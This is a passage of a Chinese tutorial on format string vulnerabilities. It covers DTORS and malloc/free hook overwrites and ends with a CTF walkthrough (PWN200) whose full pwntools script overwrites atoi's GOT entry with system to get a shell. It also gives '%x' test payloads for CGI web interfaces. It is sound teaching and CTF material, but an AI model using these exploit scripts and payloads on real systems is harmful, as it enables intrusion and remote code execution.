这一种利用方法仅对GNU C 编译器生成的程序有效。用GCC编译的可执行文件有一个特殊的区域,称为dtors,指向可执行文件的析构函数。这个函数会在程序结束最后的’exit’函数之前被调用。DTORS区域的格式为:

1
DTORS: 0xffffffff <function address> <another function address> ... 0x00000000

第一个数值(0xffffffff)为这个区域内包含的函数指针的数量,若为空,则为-1。后跟随的数值,即为析构函数的地址。

我们先了解以下DTORS:
GNU C允许程序员利用attribute关键字后跟一个包含于双括号中的属性修饰符来声明函数的属性。属性修饰符包括constructor和destructor。constructor属性指示函数在main()之前被调用,destructor属性则表示函数将在main()执行完成后或exit()被调用后进行调用。

以下所示的程序展示了constructor和destructor属性的用法。该程序包含3个函数:main()、create()和destroy()。create()函数是一个构造函数, destroy()函数则是一个析构函数。这两个函数都没有被main()调用,main()只是打印了两个函数的地址然后就退出了。根据运行结果,显然,create()首先执行,然后是main(),最后才是destroy()。

构造函数和析构函数分别存储于生成的ELF可执行映像的.ctors和.dtors区中。在ELF运行时,这两个区域也会被映射到内存中,默认属性为可写。
可利用以下命令查看一个elf的.ctors/.dtors区:

1
2
objdump -s -j .ctors elf
objdump -s -j .dtors elf

对于高版本的gcc,不会生成.ctors/.dtors,而是改名为.init_array/.fini_array:

(我也不知道为什么第一个数值不是0xffffffff)
此处的dtors程序是由上面提供的C代码所编译而成的,定义了create()和destroy()函数。而dtors2程序则没有定义这两个函数。有趣的是,就算程序里没有定义这两个函数,.ctors/.dtors依然存在。既然他们默认可写,那么就可以被利用来执行非法函数。

用格式化字符串漏洞,将系统函数地址,如system函数的地址,覆盖DTORS表中结尾的00000000,就可以在程序退出时执行恶意函数。根据网上提供的利用经验,DTORS表中的第一个数值0xffffffff似乎不用去管它。

类似的攻击还有对__atexit函数的攻击利用。具体利用查看论文”__atexit in memory bugs: proof of concept, Pascal Bouchareine”

4.4 HOOK函数劫持

GCC编译的程序里经常有一些特殊的HOOK函数,存于glibc库中,攻击者可利用格式化字符串覆盖这些HOOK函数的地址。最常用的就是__malloc_hook, __realloc_hook 和 __free_hook……这些函数常用来对malloc,realloc,free函数进行调试和监控。没有被用到时,这些函数被设置为NULL,在程序执行时处于可写的状态,攻击者可利用格式化字符串漏洞将hook函数覆盖为目标函数地址。这样每当malloc/realloc/free被调用时,都会执行hook函数中的程序。

__malloc_hook, __realloc_hook 和 __free_hook是定义在malloc.c中的hook函数。看一下malloc.c中的free函数:

1
2
3
4
5
6
void (*hook) (void *, const void *) = atomic_forced_read (__free_hook);
if (__builtin_expect (hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS (0));
return;
}

free函数在调用时,会先检查__free_hook的地址,若不为空,则先执行__free_hook。

具体的利用方法是,要先利用格式化字符串漏洞或其他漏洞,泄露出glibc的基地址,然后覆盖__malloc_hook的地址。

如果程序没有用到malloc,realloc,free函数,这个攻击途径依然可行,方法是利用printf。在printf中的格式化字符串%WIDTHs中的WIDTH长度超过32bytes时,printf会自动调用malloc和free来整理。看一下vfprintf.c的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define EXTSIZ 32
enum { WORK_BUFFER_SIZE = 1000 };

if (width >= WORK_BUFFER_SIZE - EXTSIZ)
{
/* We have to use a special buffer. */
size_t needed = ((size_t) width + EXTSIZ) * sizeof (CHAR_T);
if (__libc_use_alloca (needed))
workend = (CHAR_T *) alloca (needed) + width + EXTSIZ;
else
{
workstart = (CHAR_T *) malloc (needed);
if (workstart == NULL)
{
done = -1;
goto all_done;
}
workend = workstart + width + EXTSIZ;
}
}

如果长度足够的大,malloc会被调用。

4.5 堆上的格式化字符串

格式化字符串漏洞利用时,要想在设定地址处写入数据,需要访问到恶意格式化字符串中的地址值。这就要求格式化字符串本身在栈中。若用户提供的格式化字符串本身存在堆中,那么能利用漏洞来写内存到指定地址,就要求栈中有我们能控制的变量。

1
2
3
4
5
6
7
void func (char *user_at_heap)
{
char outbuf[512];
snprintf (outbut, sizeof (outbuf), user_at_heap);
outbuf[sizeof (outbuf) - 1] = ’\0’;
return;
}

这是一种情况,字符串被复制到了栈中。

其他的情况需要攻击者能控制到栈中的某处数据。比如,部分对wu-ftpd的格式化字符串漏洞的利用中,会利用password参数在栈中的位置,来指定地址或shellcode。  

5. 案例

5.1 2017-湖湘杯PWN200

参考:https://bbs.pediy.com/thread-224645.htm

反编译:

根据反编译结果,我们写的以下程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(){
char buf[40];
char v1;
while (1){
puts("WANT PLAY[Y/N]");
if(getchar()!=89)
break;
v1 = getchar();
puts("GET YOUR NAME:");
memset(buf,0,40);
read(0,buf,0x40u);
puts("WELCOME ");
printf(buf);
puts("GET YOUR AGE:");
read(0,buf,0x40u);
if(atoi(&buf)>60)
puts("OLD MEN!\n");
}
return 0;
}

发现printf函数直接打出了我们的输入,存在格式化字符串漏洞。
将以上程序,按原题的安全配置进行编译:

1
gcc -m32 pwn_formats.c -o pwnformats -no-pie

用checksec检测防御机制:

开了Canary和NX, 并没有Full-Relro和PIE。没有开启PIE,所以ELF中每一个区域,如text,bss区,都是加载在固定的基址上。我们考虑最基本的GOT表修改。

既然要getshell,我们就用格式化字符串漏洞,将某个函数的GOT地址改为system的地址,再控制参数,执行system(‘/bin/sh’)。这里atoi函数的参数就为我们第二次输入的数据,这样覆盖atoi函数为system,再输入’/bin/sh’,即可直接getshell。

完成以上任务的步骤应是:

  1. 得到puts函数所在的库的基址。
  2. puts和system处于同一系统库libc.so中。CTF这道题给了libc.so的版本,为libc.so.6。根据puts函数和system函数在这一个版本的库中的地址偏移差,我们可以计算出system函数的地址。
  3. 覆盖GOT表中atoi函数的地址为system函数的地址。
  4. 在“GET YOUR AGE”时,输入”/bin/sh”,触发system(“/bin/sh”),得到shell。

[1] 得到puts函数所在的库的基址:
运行程序,在”GET YOUR NAME”时,输入以下payload:

1
AAAAAAAA-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x

来找到栈上buffer和字符串的地址偏移:

第5个%08x读到字符串的头AAAA,因此偏移为5。知道偏移后,尝试用以下python脚本来读到GOT表中puts函数的地址:

1
2
3
4
5
6
7
8
9
from pwn import *

elf = ELF('./pwnformats')
p = process('./pwnformats')
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:')
payload = '%5$s'+p32(elf.got['puts'])
p.sendline(payload)


就可以这样打出地址。这里输出前4位为p32(elf.got[‘puts’]),后4位则是输出的puts函数的地址。

1
2
p.recvuntil('WELCOME \n')
puts_addr=p.recv()[4:8]

[2] 算出system函数的地址
已知了libc.so的版本,就可以知道任意两个库中函数的偏移地址。上面已知了puts函数的地址,则可以这样算出来:

1
2
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
system_addr = libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)

因为libc.symbols函数的返回为十进制表示,这里用u32函数将二进制表示的puts_addr转换为十进制,算出了system函数的地址。

[3] 覆盖GOT表中atoi函数的地址为system函数的地址。
获得GOT中atoi的位置:

1
atoi_got_addr = elf.got['atoi']

在”GET YOUR NAME”的时候发格式化字符串payload,用以上求得的system函数地址覆盖atoi。

1
2
p.recvuntil('NAME:')
p.sendline(fmtstr_payload(5, {atoi_got_addr: system_addr})) # 5为buffer和字符串的偏移

[4] 在”GET YOUR AGE”时发’/bin/sh’

1
2
3
p.recvuntil('GET YOUR AGE:')
p.sendline('/bin/sh\x00') # /bin/sh后需要\x00,是因为read函数不会自动在读到的内容后加入0x00来做字符串结尾
# 若不加0x00,会在/bin/sh后附上遇到下一个0x00前的所有数据,导致system执行错误

最后得到脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./pwnformats')
# 1st
p = process('./pwnformats')
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:')
payload = p32(elf.got['puts'])+'%5$s'
p.sendline(payload)
p.recvuntil('WELCOME \n')
puts_addr=p.recv()[4:8]
# 2nd
system_addr = libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)
# 3rd
atoi_got_addr = elf.got['atoi']
p.sendline('17')
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:')
p.sendline(fmtstr_payload(5, {atoi_got_addr: system_addr}))
# 4th
p.recvuntil('GET YOUR AGE:')
p.sendline('/bin/sh\x00')
p.interactive()


Note:
在编译成64位的测试过程时,发现这个格式化字符串没有输出我们想要的地址:

1
payload = p32(elf.got['puts'])+'%5$s'

后来发现是因为p32(elf.got[‘puts’])地址中包含0x00,在printf时遇到0x00直接就停止了输出。遇到这些情况,可以修改payload为:

1
2
3
4
payload = '%6$s'+p32(elf.got['puts'])
p.sendline(payload)
p.recvuntil('WELCOME \n')
puts_addr=p.recv()[0:4] # 这时先输出的前4位为地址

先输出想要的地址,这时替换地址的字符串不变,依旧为:

1
p.sendline(fmtstr_payload(5, {atoi_got_addr: system_addr}))

5.2 某电脑管家

在某个版本的电脑管家中,可看到这样的文件:zh-cn.dat

可见里面有明显的格式化字符串,就可借此判断可能存在格式化字符串漏洞。

恶意程序可以直接修改这个配置文件,导致应用程序的拒绝服务。

6. 总结

认识格式化字符串对Web测试也不是没有用处。以前测试过一些摄像头的Web应用,它们都是基于C/C++实现的cgi,这时就可以测试格式化字符串的漏洞。比如:

1
http://hostname/cgi-bin/query.cgi?name=john&code=45765

这个接口若存在格式化字符串漏洞,则利用以下payload:

1
http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&code=45765%x.%x

进行测试。

7. 参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
• Exploiting Format String Vulnerabilities Scut,Teamteso,September1,2001
• How Effective is ASLR on Linux Systems?
• 漏洞战争 软件漏洞分析精要
• https://book.2cto.com/201312/38537.html
• http://www.bright-shadows.net/tutorials/dtors.txt
• https://securityetalii.es/2013/02/03/how-effective-is-aslr-on-linux-systems/
• http://pwntools.readthedocs.io/en/stable/fmtstr.html
• https://github.com/slimm609/checksec.sh
• http://libcdb.com/
• https://access.redhat.com/blogs/766093/posts/3548631
• https://access.redhat.com/blogs/766093/posts/3606481
• https://securityetalii.es/2013/02/03/how-effective-is-aslr-on-linux-systems/
• http://tk-blog.blogspot.com/2009/02/relro-not-so-well-known-memory.html
• https://github.com/L4ys/LazyIDA
• https://bbs.pediy.com/thread-224645.htm

如果有时间可以有待更新一下这些=。=:

https://bbs.pediy.com/thread-224645.htm
https://www.jianshu.com/p/097e211cd9eb
https://blog.csdn.net/qq_33438733/article/details/72803627
https://bbs.pediy.com/thread-225003.htm
https://xz.aliyun.com/t/214

CATALOG
  1. 1. 0. 简介
  2. 2. 1. 原理
    1. 2.1. 1.1 简介
    2. 2.2. 1.2 格式化函数一览
    3. 2.3. 1.3 格式化函数的用处
    4. 2.4. 1.4 格式化字符串是啥
    5. 2.5. 1.5 栈布局
    6. 2.6. 1.6 总结
  3. 3. 2. 漏洞危害和利用方法
    1. 3.1. 2.1 让程序崩溃
    2. 3.2. 2.2 查看栈数据
    3. 3.3. 2.3 查看任何位置的内存数据
    4. 3.4. 2.4 覆盖任意位置的内存数据
      1. 3.4.1. 2.4.1 触发缓冲区溢出
      2. 3.4.2. 2.4.2 利用%
  4. 4. 3. 漏洞相关
    1. 4.1. 3.1 pwntools
      1. 4.1.1. 3.1.1 FmtStr:
      2. 4.1.2. 3.1.2 fmtstr_payload:
    2. 4.2. 3.2 准备工具
      1. 4.2.1. 3.2.1 checksec
      2. 4.2.2. 3.2.2 静态链接
      3. 4.2.3. 3.3.3 Libcdb.com
    3. 4.3. 3.3 ELF的安全机制
      1. 4.3.1. 3.3.1 CANARY
      2. 4.3.2. 3.3.2 FORTIFY
      3. 4.3.3. 3.3.3 NX
      4. 4.3.4. 3.3.4 PIE
      5. 4.3.5. 3.3.5 RELRO
    4. 4.4. 3.4 检测工具
  5. 5. 4. 进阶利用
    1. 5.1. 4.1 返回到SHELLCODE
    2. 5.2. 4.2 GOT覆盖
    3. 5.3. 4.3 DTORS覆盖
    4. 5.4. 4.4 HOOK函数劫持
    5. 5.5. 4.5 堆上的格式化字符串
  6. 6. 5. 案例
    1. 6.1. 5.1 2017-湖湘杯PWN200
    2. 6.2. 5.2 某电脑管家
  7. 7. 6. 总结
  8. 8. 7. 参考